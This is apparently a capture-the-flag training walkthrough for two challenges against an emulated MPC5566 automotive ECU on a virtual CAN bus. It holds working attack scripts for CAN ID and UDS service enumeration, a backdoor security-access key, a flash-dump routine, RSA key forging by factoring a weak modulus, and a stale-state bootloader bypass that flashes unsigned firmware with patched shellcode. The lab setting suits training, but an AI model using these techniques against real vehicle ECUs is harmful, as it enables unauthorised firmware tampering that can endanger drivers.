PowerPC MPC5566 Challenges

PowerPC MPC5566 Challenges

Challenges

These challenges run against an emulated ECU built around an MPC5566 PowerPC microcontroller, connected to your VM over a virtual SocketCAN bus (vcan0). No firmware is provided up front, so each challenge starts by enumerating the ECU over UDS and works toward a full reverse-engineering and exploitation chain.

The Python helpers referenced below (socketpanda.py and uds.py) make it convenient to script the UDS interactions.

Wired Keyless Entry (1000 points)

Can you bypass Security Access level 0x11 on the ECU?
The ECU will not give up its secrets from the default session. Read what it tells you about itself, unlock the low level first, then dump the firmware and let the code explain the rest.

Walkthrough

  1. Find the CAN arbitration ID. Sweep every 11-bit ID with an ISO-TP First Frame and watch for a Flow Control reply (this works even if the ECU speaks KWP2000 instead of UDS). In one terminal run candump vcan0, then in another run the sweep:

    for i in $(seq 0 2047); do cansend vcan0 $(printf "%03x" $i)#1008AAAAAAAAAAAA; done

    A response appears on 0x7E8 when sending to 0x7E0 - the typical UDS request/response pair for an engine controller.

  2. Enumerate the supported UDS services. Send an empty payload to each service ID. A Service Not Supported (0x11) error means the service is unavailable; an Incorrect Message Length or Invalid Format (0x13) error means it exists but needs the right payload.

    from socketpanda import SocketPanda
    from uds import UdsClient
    
    if __name__ == "__main__":
        p = SocketPanda('vcan0')
        uds = UdsClient(p, 0x7e0)
    
        for i in range(0, 0x100):
            try:
                uds._uds_request(i)
            except Exception as e:
                if not str(e).endswith("not supported"):
                    print(hex(i), e)

    This reveals the available services:

    0x10 DIAGNOSTIC_SESSION_CONTROL          - incorrect message length or invalid format
    0x11 ECU_RESET                           - incorrect message length or invalid format
    0x22 READ_DATA_BY_IDENTIFIER             - incorrect message length or invalid format
    0x27 SECURITY_ACCESS                     - incorrect message length or invalid format
    0x2c DYNAMICALLY_DEFINE_DATA_IDENTIFIER  - service not supported in active session
    0x3e TESTER_PRESENT                      - incorrect message length or invalid format
  3. Read the Data Identifiers (DIDs). Brute-force the full DID range with Read Data By Identifier (0x22):

    for did in range(0x0, 0x1_0000):
        try:
            resp = uds.read_data_by_identifier(did)
            print(hex(did), resp, resp.hex())
        except Exception as e:
            pass

    The interesting fingerprints:

    0xf186 b'\x00'                  00
    0xf187 b'PN_B0NN3T\x00'         504e5f42304e4e335400
    0xf18a b'AUDI'                  41554449
    0xf18b b'01292009'             3031323932303039
    0xf18c b'AUDI2009'             4155444932303039
    0xf190 b'1BHCM82633A004527'    314248434d383236333341303034353237

    The PN_B0NN3T part number is the OSINT anchor - it points at the paper Beneath the Bonnet (Jan Van den Herrewegen & Flavio Garcia), which describes the seed/key scheme used here.

  4. Pass Security Access level 0x1. Request a 4-byte seed with uds.security_access(0x1) and send the computed key back with uds.security_access(0x2, key). Dumping the level 0x1 key check later confirms the algorithm, but it also contains a backdoor constant - the check returns true when the user key equals 0xcaffe012:

    bool uds_27_security_access_check_key_level_0x1(uint seed, uint key_from_user)
    {
      int iVar1;
      int i;
      i = 0;
      for (iVar1 = 1;
          (((seed = seed << 1, i == 0 || (i == 2)) || (i - 6U < 2)) ||
           (seed = seed | 1, iVar1 != 0xb));
          iVar1 = iVar1 + 1) {
        i = i + 1;
      }
      if (key_from_user != seed) {
        return key_from_user == 0xcaffe012;   // backdoor key
      }
      return true;
    }
  5. Dump the firmware. With level 0x1 unlocked, enter the extended diagnostic session (uds.diagnostic_session_control(0x3)), which exposes Dynamically Define Data Identifier (0x2C). Define a dynamic DID over a memory range and read it back to dump flash from 0x0 to 0x60000:

    block_size = 128
    did = 0xf300
    
    with open('dump.bin', 'wb') as f:
        for addr in range(0x0000_0000, 0x0006_0000, block_size):
            definition = DynamicSourceDefinition(
                data_identifier=None,
                position=None,
                memory_size=block_size,
                memory_address=addr)
    
            uds.dynamically_define_data_identifier(0x2, did, [definition], memory_size_bytes=1)
            data = uds.read_data_by_identifier(did)
    
            f.write(data)
            f.flush()
  6. Defeat Security Access level 0x11. Requesting a seed with uds.security_access(0x11) returns a 32-byte seed and expects a 128-byte key in response (uds.security_access(0x12, key)). Reverse engineering the dumped firmware shows the key verification implements big-integer multiply/modulo - in other words, RSA-style modular exponentiation against a fixed modulus:

    /* the algorithm computes key^e mod n over 128-byte big integers, */
    /* then compares the last 32 bytes against a reordered seed       */
    multiply_modulo(out, out, tmp, static_data_128_bytes);  // square-and-multiply, 0x10 rounds
    

    Recover the private key by factoring the modulus with RsaCtfTool, then sign the reordered seed:

    rsactftool -e 0x10001 \
      -n 0xd546aa825cf61de97765f464fbfe4889ad8bf2f25a2175d02c8b6f2ac0c5c27b67035aec192b3741dd1f4d127531b07ab012eb86241c09c081499e69ef5aeac78dc6230d475da7ee17f02f63b6f09a2d381df9b6928e8d9e0747feba248bffdff89cdfaf4771658919b6981c9e1428e9a53425ca2a310aa6d760833118ee0d71 \
      --private
  7. Capture the flag. Send the forged key for level 0x11. On success the ECU broadcasts the flag over the bus - watch it reassemble from the ISO-TP frames in candump vcan0:

    vcan0  0C0  [8]  10 22 66 6C 61 67 7B 6E
    vcan0  0C0  [8]  21 30 74 5F 72 65 61 6C
    vcan0  0C0  [8]  22 6C 79 5F 6B 33 79 6C
    vcan0  0C0  [8]  23 65 73 73 5F 6E 6F 77
    vcan0  0C0  [8]  24 5F 31 73 5F 31 74 7D

    Converting the payload bytes from HEX to ASCII gives the flag.

ANSWER
flag{n0t_really_k3yless_now_1s_1t}
Level 0x1 has a backdoor key (0xcaffe012); level 0x11 is RSA with a factorable modulus. The flag is broadcast on arbitration ID 0x0C0 in ISO-TP form.

Tune-Up Trouble (2000 points)

Can you reflash the ECU with modified firmware and gain code execution?
The bootloader checks a signature it cannot easily be tricked into forging - but it is sloppy about when it trusts that check. Find the state it forgets to reset.

Walkthrough

  1. Map the firmware layout. The flash dumped in part one contains a bootloader at 0x10000 and two copies of the main application at 0x40000 and 0x50000 (an A/B update scheme). The bootloader implements a standard UDS update flow:

    1. Switch to the programming session - uds.diagnostic_session_control(0x2)
    2. Request download - uds.request_download(0x40000, 0x10000, 4, 4, 1)
    3. Send the image - uds.transfer_data(block_number, data) for every block. Sending the final block automatically triggers verification.
    4. Request transfer exit - uds.request_transfer_exit() (optional on this ECU)
    5. Run routine 0x55aa - uds.routine_control(0x1, 0x55aa). If verification passed, the bootloader commits RAM to flash.
    6. Reboot - ECU reset, or request the default session uds.diagnostic_session_control(0x1)
  2. Understand the verification. After the final block arrives, the bootloader computes a SHA-256 of the image and verifies the final 0x80 bytes as an RSA signature against a public key baked into the bootloader. This modulus is different from the one used for security access and is not easily factored, so the crypto itself cannot be forged.

  3. Find the logic flaw. Two weaknesses in how the bootloader tracks verification state allow a bypass:

    • The verification-status variable in RAM is not cleared when a new update procedure starts.
    • Routine 0x55aa does not check that the upload actually completed - it only inspects the status variable, then flashes whatever is in the RAM buffer.
  4. Bypass the signature check. Chain those flaws:

    1. Upload the original firmware (its valid signature is still present at the end of the dump). Completing it sets the verification-status variable to pass.
    2. Start a new update with your modified firmware, but deliberately do not send the final block - so verification is never re-triggered and the status variable stays pass.
    3. Call routine 0x55aa. The bootloader sees pass and commits your modified (unverified) image to flash.
    4. Reboot the ECU.

    Because verification is slow, split this into two scripts: the first uploads the original firmware, the second uploads the modified firmware and calls routine 0x55aa.

  5. Write the shellcode. Proving code execution means writing a magic value to a special register, which makes the emulator emit the flag. Patch the firmware entrypoint with PowerPC shellcode that loads 0x464c4147 (ASCII "FLAG") into r6 and moves it into SPRG7:

    00042338  3c c0 46 4c   lis    r6, 0x464c      ; r6 = 0x464c0000
    0004233c  60 c6 41 47   ori    r6, r6, 0x4147  ; r6 = 0x464c4147 ("FLAG")
    00042340  7c d7 43 a6   mtspr  SPRG7, r6       ; write to special register -> ECU sends flag
  6. Capture the flag. Reboot the ECU after flashing. The patched entrypoint runs, writes "FLAG" to SPRG7, and the emulator broadcasts the flag over CAN.

ANSWER
TODO
The crypto is sound; the bug is state management. A stale verification flag plus a non-completion check on routine 0x55aa lets unsigned firmware reach flash.

Proving Grounds - Course Completion 80%
Last updated on